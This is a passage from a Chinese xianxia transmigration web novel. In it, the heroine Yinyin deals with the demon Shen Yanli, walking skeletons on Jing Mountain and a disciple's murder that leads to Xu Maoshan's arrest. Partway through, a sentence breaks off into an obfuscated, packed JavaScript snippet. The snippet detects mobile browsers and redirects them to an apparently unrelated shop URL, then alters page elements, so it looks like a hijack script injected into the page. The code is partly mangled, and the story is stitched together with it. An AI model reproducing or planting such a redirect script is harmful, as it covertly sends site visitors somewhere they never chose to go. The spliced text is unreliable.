血色符咒 音音要被吓死了。 “你在等我?”她强装镇定。 沈宴离另一只手勾上音音腰侧的渡音铃,轻轻扯了扯:“我在等它。” 两人的姿势和动作算亲密,可音音却觉头皮一阵发麻,不自觉将脖子后仰:“你怎么知道我会来?” 沈宴离心生不满,将那截细白手腕往前攥得更紧了些。 “你没死成,自然是要再找我的。” 语气理所当然。 听起来就像音音上赶着来找死一样。 话音落下,沈宴离收回手,音音立马戒备地摸到渡音铃,伺机而动。 要是对方再有杀意,她就狂摇铃铛。 前摇后摇社会摇,不信摇不死他。 沈宴离却像是在特意等着这一刻,皱眉催促:“怎么不动手?” 音音不说话,只是用极其诡异的眼神直视他。 沈宴离的耐心所剩无几,眸中冷光涌现:“难道要和上次一样掐你脖子才行?” 音音听得一激灵:“不许掐!摇就摇……” 正好她也想试验这铃铛净化魔性的效果究竟如何。 “叮铃铃——” 这回却是渡音铃先动的手,自顾自响起来。 因这意外状况,音音和沈宴离心思各异地对视一眼。 月黑风高,铃声清脆。 而茅草屋外有另一种声音正在靠近,嘈嘈切切,像是指甲刮玻璃产生出的噪音,不仅听的人牙齿发酸,耳朵和脑袋还都疼了起来。 音音咽了下口水,问:“外面是什么声音?” 沈宴离神态没有丝毫慌张,唇角反而抿出一个很浅淡的笑,反问道:“你不是见过他们么。” 音音不解其意,顺着他的视线往门口望去,第一眼花了一下没看清,第二眼则完全被这景象惊呆了。 只见白茫茫的雪地里,赫然行走着数十具森白嶙峋的骨架。 密林中的那些白骨活过来了! 白骨行走的动作僵硬,每往前一步,便发出咔擦的骨节碰撞声。 音音很怂地往沈宴离身后躲:“那、那那是什么东西……” “记性真差。”沈宴离漫不经心扫了她一眼,“只许你晚上私闯静山,不许他们出来散散步?” “这能叫散步吗!” 沈宴离轻嘶了声,仿佛被吵到耳朵,面色不虞。 白骨们步调统一,正在齐心协力往茅草屋的方向移动,音音一颗心跟着噌噌琅琅的声音咯噔咯噔地往下落。 不行,她要赶紧离开这里。 音音默念起瞬移术。 “唔——” 第三次了,经脉奇痛无比,仿佛寸寸断开。 且痛感比之前两次都更加强烈。 音音双腿一软,直直往沈宴离身上倒去。 可惜沈宴离毫无怜悯心,两指抵住音音肩膀把她推直。 他气息贴近她耳后,问:“你不是很强?” 音音心中升起一种不太好的预感。 身后之人并未比白骨好到哪去,长的是一颗黑心。 “不如就用它们试试手,让我看看你到底有多强。” 说完,沈宴离抵在音音后背的两指蓄力往前一推,唇畔带着愉悦浅笑,又一次毫不留情地将她推入险境之中。 音音气炸了:“沈!宴!离!” 你个黑切黑的王八蛋大魔头! 白骨感知到浓烈的活人气息,骨节发出一连串嘎吱声,兴奋异常,转换方向僵硬地朝音音靠近。 前有白骨后有魔头。 音音被困在中间,除了狂摇铃铛无计可施。 渡音铃分为有我之音和无我之音。 前者是发挥净化功效时有意识的催动,无论注入灵力还是单纯摇晃都算。 后者则可能是环佩时无意识发出的响动,亦或是感知到了妖邪魔气。 先前几次都是无我之音,这回还是第一次发出有我之音。 音音怕的要命,区分不出两者有何区别。 只是一味地紧紧闭起双眼,缩着脖子不敢去看。 但偏偏沈宴离是这世间最凶恶的魔,能敏锐感知这点,闭目聆听铃铛声,他体内那东西的力量比上次还微弱不少。 那东西与他共生,近来愈发难以控制,再养下去怕是会吞噬他意志,正需彻底抹除…… 沈宴离心中已有决断。 他睁眼,见白骨纷纷停住脚步,像听得入了迷。 不悦顿生。 衣袍之下的手指轻轻抬起,一纸符咒飞出,如箭矢撕裂空气,符上血色纹路隐隐流动,散发着不详气息。 倏地,血色纹路一闪而过,符咒又在空中化作多道,虚实难辨,全部直直击向那一副副停滞的白骨。 “嘭——” 骨头碎裂,铿然有声。 音音一愣,睁开了眼,面前积起一堆堆白骨,如坟茔后的小山包。 紧接着她脖子便被一只手臂牢牢圈住,往后捞了过去,雪意般冷冽的气息钻入鼻尖。 沈宴离意味不明地说了两个字:“我的。” 一口恶气窜上音音心头,死活咽不下去。她哪里受过这种委屈,嘴巴一张,狠狠朝那只手臂咬了下去。 你X的! 沈宴离反应平静,手也没有松开半分。 倒是音音觉得下巴酸痛,才先松口。 恐惧的心情还未完全消散,劫后余生,她狠狠道:“我师兄师姐和师尊都很厉害的,你胆敢欺负我……” 沈宴离缓缓松手。 “你死定了!” 沈宴离站在音音身后,看不见她什么表情,只是在松手时,手背不慎蹭过她下巴,感到有温热潮湿的液体。 透明的,不是血液。 正好落在那排整齐的牙印上。 沈宴离掰住音音肩膀将她转过身来,看见有液体从那双黑白分明的眼睛中流出,在脸上连成晶莹一线,是眼泪。 他没有也很久没见过的无用之物。 同样温热潮湿,但还是鲜血好,至少能让他感到愉快。 沈宴离抬起手,去碰了碰音音的眼睛。 又直观感受一次眼泪的温热,他还是不觉有任何愉快。 “为何要哭?” 把人惹毛了,还问人为什么要哭。 音音拍开沈宴离的手,没靠那屡屡失灵的瞬移术,用双脚往山下走。 沈宴离站在原地,勉强克制住魔气和杀意,没有拦。 他知道,她定还会再回来的。 静山的十年间,他一直都在做的事就是等。 * 静山之外,灯海连天。 音音不打算夜爬万籁峰了,经过刚才一遭,她身心俱疲,挑一个干净安全的地方就能睡过去。 于是她擦擦面前的石阶,直接坐了下来。 好想回家。 当时那架飞机颠簸,不知后来如何了,她父母是否都平安无事。 如果能顺利完成使命回去,她要做的第一件事就是注销她爸小说网站的账号,求让她爸去看点严肃文学…… 音音胡思乱想,不期然捕捉到一抹白影。 她认出对方,惊讶道:“是你?” 长到遮挡住眼睛的头发,脸色苍白,正是那日遭遇三位高大同门欺辱的虚渡宗弟子。 四下空旷,他躲避不及,只好小幅度地点了点头,抱紧怀中的几本书和几个油纸包住的白面馒头。 “你睡不着出来散步吗?” 谁家正常人大半夜出来散步。 想到静山中的见闻和沈宴离说过的话,音音赶紧摆手补充:“你是去鼎食居找夜宵的对吧?我叫音音,你叫什么?” “我叫许茂山。”一道格外沙哑的声音作答并纠正,“你是南椿师姐。” 在内门弟子之中,音音自然是万籁峰小师妹,但按照辈分,那些外门弟子见了她却全都得规规矩矩喊一声师姐。 “音音是小名。” 许茂山忸怩了一会儿,才喊:“音音……师姐。” 音音被他的样子给逗笑:“那些人后来还有来找你麻烦吗?” 许茂山垂眼:“没有。” “那就好,告诉你哦,学不会御剑术是不是废物我不知道,但他们这么瞧不起别人,肯定是人渣。” 许茂山的声音几不可闻:“谢谢。” 音音不动声色揭过这个话题:“上次见你也是抱着书,都看的什么啊?” “一些符阵法术而已。” 音音随口问:“你好像对这些比对剑道更感兴趣,当初怎么不拜入 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看见许茂山略带失望的眼神,音音后悔了。他这种性格的人本来就很难开口示好,所以一旦被拒绝,下次只会更难主动。 音音心一软,改口道:“那就走吧。” 许茂山默默地跟上来。 万籁峰和静山相距不远,从前静山也是虚渡宗五峰之一,只是如今说到五峰,大家都会心照不宣地把静山排除在外。 仿佛那是一座极度不祥的山。 音音自然以为,是因为沈宴离被关在里面的缘故。 现下,她忍不住开始套话:“许师弟,你对虚渡宗了解多吗?” 许茂山很谦虚:“还好。” “那师姐来考考你。” 音音没想到这句话有朝一日还能从她嘴里说出来。 许茂山的表情格外认真:“师姐请讲。” 音音清清嗓子,神色跟着切换到严肃状态:“关于静山和里面关着的那位,你知道多少?” 一千个人心中肯定有一千个沈宴离。 音音需要从各方各面了解敌人。 许茂山躲开音音的眼睛,回答得毫无新意:“我知道的都是书中看的和课上讲的,静山中关着十恶不赦的魔头之子,数年前以缚魔链将其困锁住。” “没了?”音音很不满意,随口吐槽,“你要不再多说两句呢?” 许茂山被说得不好意思起来,想了想又答:“静山之中有道结界——” 音音竖起耳朵:“什么?” “静山有道结界,会压制一切力量,力量越强则结界越强。灵力强者,若不带着护灵符咒,进入静山都会觉得难以忍受,稍有不慎更是会经脉破损而亡。” “这道结界比所有禁令都有用,门派弟子们自不敢随意擅闯。同样,若那位魔头之子魔气太强或是尝试催动魔力,也会有经脉破损而亡的危险。” “……”音音完全没想到这个可能。 她还在初窥境,灵力对她来说似有若无,因此数次出入静山身体才一丁点异常的反应都没有。 可今夜当她尝试催动灵力施展瞬移术时,经脉次次都感知到难以名状的疼痛,还有先前在密林中以识海传音时经脉发麻的不适,原来端倪都在此。 谢天谢地,好在她是个废柴,才能在来回试探死亡边缘后保住一条小命。 音音想起那一副副行走自如的白骨,又觉得有哪里不太对劲:“可是静山之中如果出现了很难对付的邪祟魔物又怎么说?它们的力量不也应该被结界压制住吗?” 许茂山没有立刻回答,而是停下脚步问:“音音师姐,你是看到什么了吗?” 音音撒谎:“没。” “也许音音师姐口中的……那些是山中自然孕育而成,它们的力量在于静山本身,先于结界而存在……”许茂山不再说下去,转过身,“音音师姐,我就送你到这儿了。” “哦,好吧。”音音有点儿可惜,本来还想听他多说两句。 台阶绵延,此处平台恰好能眺望见远方静山,苍白地匿在雪中,寂静诡谲,了无生机,袒露又神秘。 许茂山原路往回,音音看着那道背影。 宽厚、沉重,也好似一座风雨不动的山。 5. 竹枝难折 “一二三——” 音音捏住鼻子,一鼓作气喝下面前黑乎乎的汤药,又抓了几颗丹药含进嘴里,然后安详地回到床上躺下。 今日养生续命的药量已达成。 明日再来! 这种状态很久了,自从她知道原主是个将死之人后,凡是南青风送来叮嘱她要好好吃的灵丹妙药,她都会一样不落地吃掉,希望能活到完成任务之前。 朝阳初升,沐在万籁峰山头。 有两道身影拔剑相对,剑意翻涌,剑势快如流星,带起衣袍长发。 十几剑招下来,宁筝和言为心仍旧不分胜负。 她们在比剑,找一个水平相当的人比,可明不足。 音音取来墙上挂着的一把桃木剑,蹭蹭朝两人跑过去,等她们打起手势停招,立刻扬起笑脸上前:“二位师姐,我也想学剑,请师姐们教我。” 虚渡宗以剑闻名,南青风还有南门剑主的美名,南椿却连把配剑都没有,明摆了是不想让她钻研此道。音音不求剑术多精多强,关键时刻能自保即可。 宁筝打量那把桃木剑,略有嫌弃:“这哪儿来的?” “玲珑苑翻出来的。” 言为心直白许多:“这是小师妹你孩童时期的玩具吧?怎么能用来练剑?” 音音狡辩:“桃木剑怎么不算剑?” 宁筝发笑,唬小孩似的:“你怎么突然想玩这个啊,学剑可危险了。” 言为心也道:“小师妹根骨太差,恐怕不行。” “不是玩,我认真的,而且我有在好好吃药,身体好多了!” 音音真想当场表演一个看起来很有水平的八段锦,把两人先糊弄过去。 她都已经迈开腿酝酿了,就听见宁筝道:“哎,大师兄来了。” 方涧洄疾步往主殿方向走去,神情肃穆,瞧见三人,远远地颔首打了个招呼。 宁筝咕哝:“大师兄都没笑,必然是有要紧事发生。” 言为心默认地点头。 方涧洄真是好一个人尽皆知的中央空调,对大部分人都温和礼貌,保持微笑。原主南椿要喜欢上他也是情有可原,小姑娘很容易把这种对谁都可以的好当成是专属又特殊的温柔。 但音音不会。 她快把那把桃木剑盯出花了。 “二位师姐,你们就教教我吧!求你们了!” 音音愁眉苦脸,说着还装模作样地要跪下去。 宁筝没辙:“好说好说,我和你四师姐练这么半天了,有点饿。倒是想吃鼎食居的烤鸭了,不如小师妹你去替我们买回来?一手交烤鸭,一手教剑。” 言为心抱臂否认:“我不……” 宁筝笑眯眯地拿剑鞘捅了一下她腰:“你四师姐等不了太久,快去吧。” “好嘞!” 音音眼睛一亮,终于放过那把桃木剑,高高兴兴地下万籁峰。 等她走后,言为心不认同地开口:“若是小师妹把烤鸭买回来,二师姐当真要教她剑法?师尊不是说——” 宁筝神秘地晃了晃食指:“你没吃过鼎食居的烤鸭吧?” “没有。” “为了让宗门弟子少碰油腻荤腥,鼎食居半月仅烧一只,很难抢的!我今日起这么早,就是特意去抢烤鸭的,这不没抢到快气疯了,才拉你陪我比剑的吗。” 言为心:“?” 宁筝反应过来刚说了什么,就见寒光一闪,冰心剑已飞速出鞘。 言为心难得地笑了下,冷冰冰道:“二师姐,拔剑。” * 鼎食居,人山人海。 音音一进门就有种扑面而来的熟悉感,这流水线作业的窗口、这一眼望不到头的队伍、这创新但毫无食欲的菜色,不就是一个大学食堂翻版吗? 音音像回了家,非常熟练地挑了一个最长的队伍排。 以前每当她挑了最短的队伍,排着排着就会变成最长的队伍,有什么说法在里头似的,后来她就习惯性地挑最长的队伍排,至少心里还能平衡点。 阿Q精神不过如此。 五峰的内门弟子其实很少来鼎食居,他们已修炼至通灵境中后期,辟谷月余不成问题。 宁筝纯粹是贪吃爱吃,难解口腹之欲。 站在队列之中,前后左右都是结伴而来的弟子,他们谈论的话题雅到剑法,俗至八卦。音音什么都听,听到震惊之处,甚至还要忍不住加入他们。 “听说没?昨晚又出事了,风首堂陈驿死了。” 好一个大变死人。 音音惊悚转头,煞有介事地问:“陈驿死了?怎么死的?” 陈驿是谁? 不认识,但好奇。 那弟子瞧了音音一眼,见是位纯良面生的小师妹,便压低声大方同她分享:“就死在静山附近,今晨被发现时已是白骨一架,皮肉都不见了,周边也没有血迹和打斗痕迹,肯定是什么妖魔在作祟,专门吸食修炼之人的灵力。” “白骨……”音音眼皮跳了跳,“那还怎么认出是谁?” “他不是有柄爱不释手的玄铁黑剑吗?那剑就在白骨边上。” 有个画面在音音脑海中一闪而过。 前不久,欺辱许茂山的三名弟子中,为首那名腰间正佩着一柄玄铁黑剑。 难道是他? 周边弟子陆续加入话题,不知不觉构成一个小范围群聊。 “无法无法天了都!什么妖魔还敢在我们虚渡宗作祟?” “该不会轮到我们吧?看来以后晚上要少出门。” “你又没做亏心事,怕什么?我看陈驿是坏事做太多遭报应了,他不是经常欺负影次堂的那个许茂山吗?” “大哥你有没有搞错,如果真是妖魔,还分什么好人坏人。” …… 如果真是妖魔,还分什么好人坏人。 他会把天底下的人全都杀了。 听到这,音音一激灵,从快轮到的队伍里退了出来。 暂时不买烤鸭了,她要去找沈宴离。 * 瞬移术抵达静山。 沈宴离站在树丛边,眉目低敛,似在远远观望。 音音走到他身后:“你在做什么?” 沈宴离没看她,只是竖起中指移到唇边,示意她噤声。 等了一会儿,草丛中跳出一只雪白的兔子,身子浑圆可爱,四条短腿在雪地踩下梅花般的小脚印,努力朝前蹦跶着。 望见兔子,沈宴离居然静静地笑了,唇畔弧度赏心悦目。 这让音音非常意外。 她喜欢小动物,并且深信一点。 喜欢小动物的人本性再坏也坏不到哪儿去—— 忽地,一颗碎石自沈宴离手中弹了出去。 音音眼睛一花,要拦已来不及,那颗石子直直击中了兔子的左腿,把它打翻在原地,浑圆的身子立刻抽搐起来。 “你做什么?!” 音音跑过去把兔子抱进怀里,见它左腿渗出一点血,雪白的身子染上红色,鲜艳刺目。 沈宴离没有解释半个字,只道:“放下,我的。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16745258|189855||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “……”听见这个词音音就生气,开始指责,“为什么要伤害兔子,你不觉得它很弱小可怜吗?” 沈宴离情绪淡淡地扫她一眼:“你很吵。” 怜悯之心,何用之有?自小被关在静山自生自灭,他若不对旁的生灵下手,又要如何苟全性命存活?修炼之人的辟谷之术,一个无人教养的魔头之子可不会。 沈宴离抬手要拎走兔子,被音音躲开了。 音音纠正:“而且它不是你的,它是它自己的。” 沈宴离皱眉,感到不悦,跟昨晚的情绪有些相似,又有些不同。 但看见那个金灿灿的铃铛,他不打算再争论下去,一只兔子而已,与之相比无关紧要。 音音打断他思绪:“昨天夜里的白骨,跟你有没有关系?” “这么恶心的东西,为何会与我有关?” 沈宴离模样相当坦然,音音分不出他说的是真话还是假话。她默默抱紧怀中的兔子,拉远两人之间的距离。 “昨晚静山附近死了一名虚渡宗弟子,最好不要是你干的。” 沈宴离好整以暇,反问于她:“若就是我干的,你当如何?” “我是奈何不了你,只怕虚渡宗绝不会放过你。” 音音气势弱了下来,表情纠结地叹了口气。 既不能让沈宴离死亡影响到故事线,她又没能力保证此事一出,四大仙门不会联合剿灭大魔头,毕竟再让他活着就是养虎为患,也不知当初为何不直接杀了他…… 静山的雪化了一些,附近栽种的翠竹展露出风姿。 音音想到什么,走过去拽住竹子枝叶,往下一压又松手。 竹子受力反弹回去,窸窸窣窣崩开枝叶上的雪,又成了苍翠挺拔的一枝。 “看见了吗?”她指给沈宴离看,“大雪是压不倒竹子的,因为竹子本身就很挺拔。” 音音装X装的好爽。 短视频里学的救赎台词也是派上用场了。 不曾想沈宴离掀起眼帘看她一眼,吐出三个字:“说人话。” “……如果你肯好好做人,就算是魔又如何?” 沈宴离看着音音,不置一词。 音音手掌压住兔子的长耳朵,硬着头皮道:“而且我觉得你本性不坏,我会帮你走上正道,你不要乱杀人。” ——对不起了,小兔子。 撒谎是不对的。 沈宴离抿唇,眼神阴郁。 正道?可笑。 天下大道千千万,所谓的名门正道,他最是瞧不上眼。 何况这比喻错的离谱,竹子本身挺拔,可他从出生那天起,就注定要成为魔。 他不是竹子,是风,是雪。 总有天要掀的这些名门正道血雨腥风。 沈宴离问:“你要如何帮我?” 音音不打算直接告知他渡音铃的事,含糊过去:“我有我的办法。” “你又为何要帮我?” 音音决定掌握对话主动权,不回答便抛出自己的问题:“你喜欢兔子吗?我喜欢兔子。你摸摸这只兔子,它的毛很软很舒服。” 沈宴离没有伸手,音音生拉硬拽,把他的手勉强放在了兔子皮毛上。 “你脚踝上系着缚魔链很难受吧?将心比心,你却伤了这只兔子的腿。这样看,其实你们很像,兔子也一样难受的。” 沈宴离冷笑着抽回手。 呵,口口声声说喜欢兔子,又说他像兔子。 他就知这些名门正派,一个比一个诡计多端。 6. 狗屁逻辑 音音觉得自己真是修仙界的达尔文。 因为她灵光一现,想出一套适用于沈宴离的“净化论”。 既然渡音铃可净化魔性,那她就该努力去搞定沈宴离,让他的魔性不至于因为一点儿小事就被激发出来。 往简单了说,又叫服从性测试。 巴甫洛夫训狗也是差不多的道理。 所以她接下来要完成任务就应该抓住两点—— 挑衅反派,不断激发魔性。 摇渡音铃,净化提高阈值。 一来一往,沈宴离再怎么疯魔也该被训化了。 抱着兔子回去路上,音音控制不住唇角的笑,丝毫不觉这套逻辑有何不对。 她深信不疑,果然,原书世界还是得懂点科学的人来拯救。 万籁峰。 宁筝和言为心的剑居然还没比完。 主要是言为心在追着宁筝打。 看见音音,宁筝如见救星般大喊:“停停停!小师妹回来了!” 言为心挽了个剑花,利落收剑于背后。 音音不好意思:“对不起二师姐,烤鸭我没买到。” 宁筝早知如此,摆手没计较:“那你怎么带了只兔子回来?兔子这么可爱,我可舍不得把它烤了吃。” 音音又徒劳地捂了一下兔耳朵。 修仙界真是一群狂徒。 言为心皱眉:“它受伤了,需要清理伤口。” 练剑之人日常负伤,各种药物常备,基础的疗伤也得心应手。言为心回房取了药箱,熟练地替兔子处理起伤口。 这兔子颇有灵性,以脑袋蹭蹭她,似在表达感谢。 音音一边看一边好奇:“不能用灵力直接疗伤吗?” 言为心答:“天行有常,不是所有事都非得用灵力来解决的。” “是的没错。”宁筝笑眯眯打了个响指,“除非打架的时候,给剑意附灵,打起来才痛快。” 好的,懂了。 这叫非暴力不灵力。 兔子伤口包扎完成,音音一拍脑袋,想到正事:“对了,两位师姐,我刚在鼎食居听说昨晚静山附近死了名十二堂的外门弟子,被发现时都变成了一具白骨。” 言为心手中动作顿一下:“静山?” 音音点头,试探道:“会不会是静山里关着的……” 宁筝有了点师姐的样子,笃定打断:“不会,既然是在静山附近发现的尸体,便不可能是他。就算是他也得有人配合着把尸体搬出来,他一个人做不到的,结界之外半步他都走不出去。” 言为心望了眼主殿方向:“想必大师兄就是为这件事来找师尊的。” 宁筝推理:“可这死状一听就是邪魔歪道的手笔,如果不是妖魔作祟,就是宗门之中有人在修炼禁术,这样一来这事的性质可就完全不同了。” 这时,主殿之门被推开,方涧洄从中走出。 他来到几人面前,勉强露出笑意:“二师妹、四师妹,昨夜宗门又出了事,恐怕与先前陆续失踪的弟子有关,你们跟我走一趟。” 音音自告奋勇:“大师兄,我也要去!” 这宗案子有可能牵涉到沈宴离,她不能不掺和。 方涧洄神色犹豫:“小师妹,你——” 一道沉稳的声音传入几人识海。 连南青风都开口同意:“这次就带上阿椿一起去吧,切记保护好她。” * 发现尸体的地方在静山附近,现场没有被人动过。 白骨的样子和音音那晚见到的一模一样。 阴森惨白,仿佛一到夜晚就能直立行走,发出骨节碰撞的怪声。 方涧洄检查现场,本来音音是要寸步不离跟在他左右的。但她不想呆在一具白骨边上,非要跟宁筝一起去找外门弟子打探有关陈驿生前的事。 弟子舍。 宁筝找来了平日跟陈驿关系交好的两位同门。 正是曾经欺辱过许茂山的其余二人,分别叫吴胜和赵衍。 两人仿佛串通好口供似的,一唱一和。 吴胜说:“两位师姐,肯定是那许茂山干的!他这人古怪的很,常常大半夜出弟子舍,鬼鬼祟祟不知道去做什么!” 赵衍说:“许茂山平日就跟陈驿关系不好,连御剑术都学不会的废物还心比天高,找他搭话也不理,瞧不起谁呢!” 音音打了个哈欠:“说不定人家半夜出去是没吃饱找夜宵呢。” 吃货宁筝的脑回路跟她连上:“有道理。” “而且吧,融不进的圈子不要硬融,你们都说他是废物了,干嘛还非得找他搭话呢?”后半句音音忍住没说,这不是贱吗。 两人的指向性有多明显,音音的维护之意就有多浓。 宁筝出来主持公道:“好了好了,你们有什么证据吗?” 吴胜说:“昨天晚上许茂山出去了,天快明才回的弟子舍。” 宁筝问:“你们这么关注他?” 赵衍说:“因为当时陈驿跟着他出去了,之后就再也没回来过。” 音音问:“那陈驿跟着他干嘛?” 吴胜说:“许茂山隔三差五就大半夜出去,陈驿想去看看他到底要做什么。如果当真是做什么不三不四的勾当,直接抓获禀告执教长老,将他赶出虚渡宗。” 宁筝问:“陈驿就这么盯着许茂山不放吗?这两人有过节?” 赵衍说:“去年十月入门弟子考核,陈驿在试炼场抓获几只林中精怪,许茂山多管闲事,非要他把这几只精怪放了。陈驿不肯,两人还动手了。” 宁筝不解:“试炼场的林中精怪不主动攻击人,也不计入考核比分,抓来做什么?” 赵衍的气焰低了点:“许是看那些精怪痴傻憨笨,觉得好玩吧。” 问了半天,一堆没用信息。 音音听不下去,到外边透了透气,走到一处似曾相识的地方。 对了!弟子舍附近通向密林的那个洞口! 音音去拉宁筝来看:“二师姐,你看这里有个洞。” “哦,那是狗洞。”宁筝不以为然。 音音身子往下趴,特意比了比高度,暗示:“但我看好像人也能爬进去哎。” 宁筝赶紧拽住音音后领,防止她做出傻事:“小师妹,这不好玩,很丢人。” “你说这洞通向哪里?”音音被误解,有口难言,只能迂回地引导话题,“离弟子舍这么近,半夜会不会有什么奇怪的东西从这里面出来?” 宁筝瞧着那个洞,思考了会儿。 “音音师姐。”许茂山行色匆匆走来。 宁筝思绪被干扰,挑挑眉:“音音师姐?” 万籁峰几位师兄师姐平日都称呼南椿为“小师妹”,南青风喊的小名也是“阿椿”,至于“音音”又是哪位,无人知晓。 音音压声:“这我的小小名。” 宁筝:“什么玩意儿?” 音音自己都尴尬到脚趾扣地了。 小小名……听起来跟装嗲似的。 音音轻咳两声:“二师姐,他就是许茂山。” 宁筝注意力这才被转移走。 这位重点嫌疑对象还是她喊过来。 “许师弟,你知道昨晚陈驿死了吧?” “嗯。” “有人看见你昨晚出了弟子舍,天明才回,你出去做了什么?” 许茂山看了音音一眼。 音音递了个应允的眼神回去,她虽并不想败露半夜出万籁峰的事,但若能帮许茂山洗脱一部分嫌疑,说出来也未尝不可。 “昨晚去鼎食居买了些馒头,宁师姐可以向当值的杂役弟子确认。” “后来呢?你又去了哪里?这中间可有一大段时间空白。” “吃完又去练剑场练了剑。” “谁能帮你作证吗?” 随着许茂山摇头,宁筝脸色就有些不太好了。 这样看来他的嫌疑确实非常大。 不知何故,许茂山没有说出半夜遇见音音的事,倒是搞得她心神不宁。 宁筝问:“陈驿好像经常欺负你?你恨他吗?” 许茂山还是摇头:“我不会把多余的情绪给不重要的人。” 宁筝直接推断:“那你也不想杀他咯?” 许茂山很坦诚,但回答出乎意料:“想过。” 想过。 那尝试过吗? 还是已经尝试了 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迷萝花鲜艳剧毒,姿态迥异,向下避光开花。 此花自南极之门附近传入,据说有致幻催情功效,向来为正派修炼丹道者所鄙夷。 方涧洄蹙眉:“虚渡宗内并未生长迷萝花。” 音音不懂就问:“迷萝花长什么样?全宗门花花草草这么多,说不定是没注意到。” “一看你上课就没认真听,临渊长老不是刚讲过。” 宁筝摸出随身带的笔纸,三两笔勾勒出花朵轮廓。 那支画笔透明似玉,无需墨迹,自有景象自笔端流出,神奇地停在纸上。 宁筝画完之后,画纸上的迷萝花竟像被施了术法一样活过来,娇艳欲滴。由纸面的二维成了空间的三维,从各个角度看都栩栩如生,现代的全息投影技术也不过如此了。 音音看得叹为观止:“二师姐你还有这本领啊。” 那朵花实在是太逼真,她心痒难耐,意欲伸手去碰。 方涧洄无奈地将音音拉住:“小师妹,这浮屠绘是乌宁一族的秘学,不仅画得出迷萝花的模样,说不定连毒性也一并承袭了,你不要碰。” 画什么是什么。 那不就是神笔马良。 音音眨眨眼:“二师姐是乌宁一族的后人?” 宁筝稚气的脸上留出一丝迷茫之色,收起画笔:“我不知道。” 画出来的迷萝花终归是假,转瞬即逝,未施灵力无法存在太久。 所谓的乌宁一族在数年前的仙魔大战中早已没落,宁筝被南青风带回虚渡宗时,早已不记前尘往事,仅有身上的浮屠笔和名字姓氏是她与过去的联系。 这些事,从前极少与她打交道的南椿并不知道。 冒牌货音音更是不知道,她抱歉地摸了摸宁筝脑袋。 宁筝立刻炸毛,怨怼的目光正与音音肩膀齐平:“小师妹!别乱摸我头,会长不高的!” 音音噗嗤一声笑出来。 “那不是正好,这样一来,谁在二师姐面前都抬不起头。” “好啊,你敢笑我,我无邪剑呢!” 音音一听,忙往言为心身后躲。 四师姐的剑术大约是比二师姐好一些的。 方涧洄制止了这场闹剧,主持局面,两方交换过彼此查到的信息。 音音心安下来,如果陈驿的死亡时间是昨夜子时,那么许茂山的嫌疑就洗脱了。 子夜当归,那会儿虚渡宗灯海渐灭,两人是待在一块的。 方涧洄严肃道:“此处并无剑意波动痕迹,或许这里不是陈驿的死亡地点,更像是特意把骨殖挪到此处,以混淆视听。” 言为心沉吟:“一般妖魔是不会有如此缜密心思的,这种做法倒更像人为。” 宁筝接道:“又或者是有自我意识的高阶妖魔。” 这圈人把话都说完了,音音无话可说。 但她顺着三人凝重的目光看到了不远处的静山,于是心甘情愿当了回嘴替。 “要不,我们进入静山查一查?” 7. 侍魂禁术 “不可。” 方涧洄厉声,态度坚决。 音音道:“先前弟子失踪,大师兄说找遍宗门上下都未见他们的踪迹,可大师兄真的没有遗漏什么地方吗?就比如静山。” 这些弟子皆为修炼之人,若真待在静山,结界之下,不可能还活着。 “而且……也许我知道哪里有迷萝花。” 三人复杂的目光又移到音音脸上。 “就在静山。” 言至于此,音音竭力把谎圆好:“之前我见有只兔子跑进弟子舍那个洞口,心里着急就追进去了,结果发现洞口后面是片密林,连接着静山,里面不仅有迷萝花,还有……” “几具穿云纹弟子袍的白骨!” 她也是刚才想起迷萝花就长在静山密林入口附近,间杂在一堆奇形怪状、颜色鲜艳的草木之间。这样看来,发间沾染了迷萝花粉的陈驿也曾进入过那个密林。 宁筝不着调地插话:“小师妹你还真去爬了狗洞啊?” “这不是重点!”音音没有插科打诨,她思路无比清晰。 “你们看,虚渡宗境内设有屏障保护,所以前几天下的一场大雪只覆盖了静山。陈驿衣袍下摆一小截又是湿的,也许就是踩进过雪地的缘故。” 方涧洄凝眉:“小师妹为何上次在师尊面前不说出此事?” 这里一个个可都不是好糊弄的主,音音承认自己有赌的成分。 她仗着几人跟南椿接触不多,人设早已放飞到天边,这会儿苦着脸道:“我怕爹爹生气,气我贪玩,还误闯了静山。” 方涧洄权衡片刻:“若万不得已,非要入静山,我还需向师尊请示。” 护灵符咒只全宗门只南青风能施,音音一个初窥境的不受影响便算了,剩余三人都已修炼至通灵境中后期,不能害了他们。 音音点点头答应。 宁筝突然一拍脑袋道:“糟了!我给许茂山设的禁制有被冲破的迹象。” 话音刚落,便有一人跌跌撞撞跑来。 吴胜模样狼狈,凄厉的声音划过长空:“方师兄,不好了!!许茂山他他他——” “他杀人了!!!” 方涧洄迅速唤出洄光剑,在音音发怔时,已将她拽到剑上。 宁筝和言为心紧随其后,三道剑影绝尘而去。 弟子舍围了不少人,地上一大滩新鲜血迹,赵衍躺在血泊中央。 三人到时,许茂山已被其他弟子制伏,他双目失神,满手的血,弟子袍染红一片,旁边还落了一把闪着寒光的锋利小刀。 言为心与宁筝上前查看赵衍的伤势,小刀刺在肩膀位置,血流的是有些恐怖,但并不足以致命。 想到刚才吴胜那副鬼哭狼嚎的样子,两人都有些无语。 音音小声嘀咕:“来晚一点这伤口都要愈合了。” 宗门之内发生这种事,方涧洄无法坐视不理,沉声吩咐身侧弟子:“将许茂山压入思过牢。” 思过牢有七十二道酷刑,非常人所能忍也,进去之后就很少有出来的例子,更多的是直接惨死在酷刑之下。 原书描写,沈宴离就曾三进三出思过牢,此番遭遇导致这小子心理更变态了,不仅觉得这些名门正道的刑罚甚是有趣,日后成了大魔头,还直接在他的离宫搞了一套加强版的。 而眼前的方涧洄也被抓进去过,翩翩公子蒙得满身尘与血。 沈宴离存心留他一条命,看正道魁首受尽折磨,供自己讥讽作乐。 …… 音音牙关打颤,回到当下情境。 许茂山由两名弟子押走,没有反抗,更没有反应。 与音音擦肩而过时,她忍不住开口:“许师弟。” 